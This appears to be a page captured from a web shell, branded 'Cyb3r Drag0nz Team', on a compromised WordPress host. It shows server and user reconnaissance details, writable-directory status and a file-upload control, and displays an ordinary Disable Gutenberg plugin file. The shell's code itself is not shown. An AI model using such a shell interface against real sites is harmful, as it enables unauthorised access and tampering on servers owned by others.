Server :
Apache
System :
Linux webd003.cluster126.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User :
atwiofrxug (73666)
PHP Version :
8.4.10
Disable Functions :
_dyuweyrj4,_dyuweyrj4r,dl
Current Directory :
/home/atwiofrxug/mylittletelaviv/wp-content/plugins/disable-gutenberg/inc/
Directory Status:
Writeable | Document Root:
Writeable
Upload File
Viewing: /home/atwiofrxug/mylittletelaviv/wp-content/plugins/disable-gutenberg/inc/settings-reset.php
<?php // Reset Settings
if (!defined('ABSPATH')) exit;
function disable_gutenberg_admin_notice() {
$screen = get_current_screen();
if (!property_exists($screen, 'id')) return;
if ($screen->id === 'settings_page_disable-gutenberg') {
if (isset($_GET['reset-options'])) {
if ($_GET['reset-options'] === 'true') : ?>
<div class="notice notice-success is-dismissible">
<p><strong><?php esc_html_e('Default options restored.', 'disable-gutenberg'); ?></strong></p>
</div>
<?php else : ?>
<div class="notice notice-info is-dismissible">
<p><strong><?php esc_html_e('No changes made to options.', 'disable-gutenberg'); ?></strong></p>
</div>
<?php endif;
}
}
}
function disable_gutenberg_reset_options() {
if (isset($_GET['reset-options-verify']) && wp_verify_nonce($_GET['reset-options-verify'], 'disable_gutenberg_reset_options')) {
if (!current_user_can('manage_options')) exit;
$options_delete = delete_option('disable_gutenberg_options');
$result = 'false';
if ($options_delete) $result = 'true';
$location = admin_url('options-general.php?page=disable-gutenberg&reset-options='. $result);
wp_redirect($location);
exit;
}
}
Cyb3r Drag0nz Team • Google Edition